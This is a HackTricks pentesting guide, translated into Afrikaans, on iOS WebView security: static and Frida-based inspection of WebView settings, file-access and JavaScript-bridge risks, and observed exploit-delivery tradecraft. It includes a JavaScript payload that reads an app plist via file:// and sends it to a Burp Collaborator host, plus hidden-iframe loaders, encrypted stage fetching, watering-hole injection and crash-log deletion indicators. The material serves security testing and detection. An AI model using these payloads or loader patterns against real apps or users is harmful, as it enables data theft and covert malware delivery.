iOS WebViews

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Die kode van hierdie bladsy is onttrek vanaf here. Kyk na die bladsy vir verdere besonderhede.

Soorte WebViews

WebViews word binne toepassings gebruik om webinhoud interaktief te vertoon. Verskillende soorte WebViews bied verskillende funksionaliteite en sekuriteitskenmerke vir iOS-toepassings. Hier is ’n kort oorsig:

  • UIWebView, wat nie meer aanbeveel word vanaf iOS 12 nie weens die gebrek aan ondersteuning om JavaScript te deaktiveer, wat dit vatbaar maak vir script injection en Cross-Site Scripting (XSS)-aanvalle.

  • WKWebView is die aanbevole opsie om webinhoud in apps in te sluit, en bied verbeterde beheer oor die inhoud en sekuriteitskenmerke. JavaScript is standaard geaktiveer, maar kan indien nodig gedeaktiveer word. Dit ondersteun ook funksies om te voorkom dat JavaScript outomaties vensters oopmaak en verseker dat alle inhoud veilig gelaai word. Verder minimaliseer die argitektuur van WKWebView die risiko dat geheuekorrupsie die hoof-app-proses raak.

  • SFSafariViewController bied ’n gestandaardiseerde webblaaierervaring binne apps, herkenbaar aan sy spesifieke uitlegg, insluitend ’n slegs-lees adresveld, deel- en navigasieknoppies, en ’n direkte skakel om inhoud in Safari oop te maak. Anders as WKWebView, kan JavaScript nie in SFSafariViewController gedeaktiveer word nie, en dit deel ook cookies en data met Safari, wat gebruikersprivaatheid teenoor die app handhaaf. Dit moet volgens App Store-riglyne prominent vertoon word.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Opsomming van WebViews-konfigurasieverkenning

Oorsig van Statiese Analise

Terwyl WebViews-konfigurasies ondersoek word, word daar op twee hooftipes gefokus: UIWebView en WKWebView. Om hierdie WebViews in ’n binaire lêer te identifiseer, word kommando’s gebruik wat soek na spesifieke klasverwysings en initialiseringsmetodes.

  • UIWebView Identifikasie
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Hierdie opdrag help om instansies van UIWebView op te spoor deur na teksstringe wat daarmee verband hou in die binêre te soek.

  • WKWebView Identifikasie
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Net so, vir WKWebView, soek hierdie kommando die binêêr na teksstringe wat op die gebruik daarvan dui.

Verder, om te vind hoe ’n WKWebView geïnisialiseer word, word die volgende kommando uitgevoer, wat die metodesigatuur wat met die initialisering daarvan verband hou teiken:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Verifikasie van JavaScript-konfigurasie

Vir WKWebView word dit beklemtoon dat om JavaScript af te skakel ’n beste praktyk is, tensy dit vereis word. Die gecompileerde binêre word deurgesoek om te bevestig dat die javaScriptEnabled eienskap op false gestel is, wat verseker dat JavaScript afgeskakel is:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Slegs Verifikasie van Veilige Inhoud

WKWebView bied die vermoë om kwessies met gemengde inhoud te identifiseer, in teenstelling met UIWebView. Dit word nagegaan met die hasOnlySecureContent-eienskap om te verseker dat alle bladsyhulpbronne deur veilige verbindings gelaai word. Die soektog in die gecompileerde binêre word soos volg uitgevoer:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Dinamiese Analise-insigte

Dinamiese analise behels die inspeksie van die heap vir WebView-instanties en hul eienskappe. ’n Skrip genaamd webviews_inspector.js word vir hierdie doel gebruik en mik op UIWebView, WKWebView en SFSafariViewController-instansies. Dit registreer inligting oor gevonde instansies, insluitend URLs en instellings wat verband hou met JavaScript en veilige inhoud.

Heap-inspeksie kan uitgevoer word met ObjC.choose() om WebView-instanties te identifiseer en die javaScriptEnabled- en hasonlysecurecontent-eienskappe te kontroleer.

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

Die skrip word uitgevoer met:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Belangrike Uitkomste:

  • WebView-instansies word suksesvol gevind en ondersoek.
  • Aktivering van JavaScript en veilige inhoudsinstellings word geverifieer.

Hierdie opsomming omvat die kritieke stappe en opdragte betrokke by die ontleding van WebView-konfigurasies deur statiese en dinamiese benaderings, met fokus op sekuriteitskenmerke soos die aktivering van JavaScript en detectie van gemengde inhoud.

WebView-protokolhantering

Die hantering van inhoud in WebViews is ’n kritieke aspek, veral wanneer daar met verskeie protokolle soos http(s)://, file://, en tel:// gewerk word. Hierdie protokolle maak dit moontlik om beide remote en plaaslike inhoud binne apps te laai. Dit word beklemtoon dat wanneer plaaslike inhoud gelaai word, voorsorgmaatreëls getref moet word om te voorkom dat gebruikers die lêernaam of pad kan beïnvloed of die inhoud self kan wysig.

WebViews bied verskillende metodes vir die laai van inhoud. Vir UIWebView, nou verouderd, word metodes soos loadHTMLString:baseURL: en loadData:MIMEType:textEncodingName:baseURL: gebruik. WKWebView, aan die ander kant, gebruik loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, en loadRequest: vir webinhoud. Metodes soos pathForResource:ofType:, URLForResource:withExtension:, en init(contentsOf:encoding:) word gewoonlik gebruik om plaaslike lêers te laai. Die metode loadFileURL:allowingReadAccessToURL: is besonder noemenswaardig vir sy vermoë om ’n spesifieke URL of gids in die WebView te laai, wat sensitiewe data kan blootstel as ’n gids gespesifiseer word.

Om hierdie metodes in die bronkode of saamgestelde binaire te vind, kan opdragte soos die volgende gebruik word:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Wat betref file access, laat UIWebView dit universeel toe, terwyl WKWebView die instellings allowFileAccessFromFileURLs en allowUniversalAccessFromFileURLs bekendstel om toegang vanaf file URLs te bestuur, en beide is standaard op false gestel.

’n Frida-scriptvoorbeeld word voorsien om WKWebView-konfigurasies vir sekuriteitsinstellings te ondersoek:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Ten slotte demonstreer ’n voorbeeld van ’n JavaScript payload gemik op exfiltrating local files die potensiële veiligheidsrisiko wat verband hou met verkeerd geconfigureerde WebViews. Hierdie payload kodeer lêerinhoud in hex-formaat voordat dit na ’n server gestuur word, en beklemtoon die belangrikheid van strikte sekuriteitsmaatreëls in WebView-implementasies.

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

Native Methods Exposed Through WebViews

Verstaan van WebView-inheemse koppelvlakke in iOS

Vanaf iOS 7 af het Apple API’s voorsien vir kommunikasie tussen JavaScript in ’n WebView en inheemse Swift- of Objective-C-objekte. Hierdie integrasie word hoofsaaklik gefasiliteer deur twee metodes:

  • JSContext: ’n JavaScript-funksie word outomaties geskep wanneer ’n Swift- of Objective-C-blok gekoppel is aan ’n identifiseerder binne ’n JSContext. Dit maak naatlose integrasie en kommunikasie tussen JavaScript en inheemse kode moontlik.
  • JSExport Protocol: Deur die JSExport-protocol te erf, kan inheemse eienskappe, instansiemetodes, en klasmetodes aan JavaScript blootgestel word. Dit beteken enige veranderinge in die JavaScript-omgewing word in die inheemse omgewing gespieël, en omgekeerd. Dit is egter noodsaaklik om te verseker dat sensitiewe data nie per ongeluk deur hierdie metode blootgestel word nie.

Toegang tot JSContext in Objective-C

In Objective-C kan die JSContext vir ’n UIWebView met die volgende reël kode verkry word:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Kommunikasie met WKWebView

In plaas daarvan word boodskap-oordrag gebruik via die postMessage funksie, wat JavaScript-na-native kommunikasie moontlik maak. Behandelaars vir hierdie boodskappe word soos volg opgestel, wat JavaScript toelaat om veilig met die native toepassing te kommunikeer:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaksie en Toetsing

JavaScript kan met die native laag kommunikeer deur ’n script message handler te definieer. Dit maak operasies soos die aanroep van native functions vanaf ’n webbladsy moontlik:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Om die resultaat van ’n native function call vas te vang en te manipuleer, kan ’n mens die callback function binne die HTML override:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

Die native kant hanteer die JavaScript-oproep soos getoon in die JavaScriptBridgeMessageHandler klas, waar die resultaat van operasies soos die vermenigvuldiging van getalle verwerk word en teruggestuur word na JavaScript vir vertoning of verdere verwerking:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS Web Exploit Delivery & Staging Tradecraft

Die volgende patrone is waargeneem in werklike iOS Safari/WebKit exploit delivery chains en is nuttig vir analise, opsporing, en beheerde emulasie.

Multi-stage loader via hidden iframes

’n Algemene staging-patroon is om uitvoering te beperk om herinfeksie of ontleding te voorkom en dan ’n versteekte/off-screen iframe in te voeg vir die volgende fase:

<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>

’n minimale staging page kan die main loader inject via document.write():

<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>

Laaierstadia trek dikwels daaropvolgende JavaScript sinchronies:

function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}

Latere fases kan in ’n worker-agtige konteks uitgevoer word deur ’n Blob URL te bou:

const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);

Geforseer Safari om die WebKit/JSC-oppervlak te bereik

As ’n slagoffer ’n lokmiddel in ’n ander browser oopmaak, kan ’n protocol handler Safari dwing:

if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}

Gekodeerde stage fetch (ECDH + AES)

Sommige loaders enkripteer exploit stages tydens oordrag. ’n Minimale kliëntvloei is: genereer ’n ephemerale ECDH sleutelpaar, POST die base64 publieke sleutel, ontvang geënkripteerde blobs, lei ’n AES-sleutel af, ontsleutel, en dekodeer dan na JavaScript:

const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));

Watering-hole injection pattern

Compromised sites kan ’n remote script laai wat ’n off-screen iframe bou en dit met ’n sandbox beperk, terwyl dit steeds script execution toelaat:

<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);

Post-exploitation anti-forensics indicators (JS implants)

  • Tydelike staging onder /tmp/<uuid>.<digits>/ met subgidse soos STORAGE, DATA, en TMP.
  • Verwydering van crash logs in /var/mobile/Library/Logs/CrashReporter/ (dikwels gefilter deur WebKit/SpringBoard-substrings).
  • Rekursiewe verwydering van /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.

Debugging iOS WebViews

(Tutorial gebaseer op die een van https://blog.vuplex.com/debugging-webviews)

Om webinhoud binne iOS webviews effektief te ontfout, is ’n spesifieke opstelling wat Safari se ontwikkelaarhulpmiddels betrek benodig, omdat boodskappe wat na console.log() gestuur word nie in Xcode logs vertoon word nie. Hier is ’n vereenvoudigde gids met klem op sleutelstappe en vereistes:

  • Preparation on iOS Device: Die Safari Web Inspector moet op jou iOS-toestel geaktiveer word. Dit word gedoen deur na Settings > Safari > Advanced te gaan en die Web Inspector te aktiveer.

  • Preparation on macOS Device: Op jou macOS ontwikkelmasjien moet jy ontwikkelaarhulpmiddels binne Safari aktiveer. Begin Safari, gaan na Safari > Preferences > Advanced, en kies die opsie om die Show Develop menu.

  • Connection and Debugging: Nadat jy jou iOS-toestel met jou macOS-rekenaar verbind het en jou aansoek geopen het, gebruik Safari op jou macOS-toestel om die webview wat jy wil ontfout te kies. Navigeer na Develop in Safari se menubalk, hou oor jou iOS-toestel se naam om ’n lys webview-instansies te sien, en kies die instansie wat jy wil inspekteer. ’n Nuwe Safari Web Inspector-venster sal oopmaak vir hierdie doel.

Wees egter bewus van die beperkings:

  • Ontfouting met hierdie metode vereis ’n macOS-toestel aangesien dit op Safari staatmaak.
  • Slegs webviews in aansoeke wat via Xcode op jou toestel gelaai is, kwalifiseer vir ontfouting. Webviews in apps wat via die App Store of Apple Configurator geïnstalleer is, kan nie op hierdie wyse ontfout word nie.

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks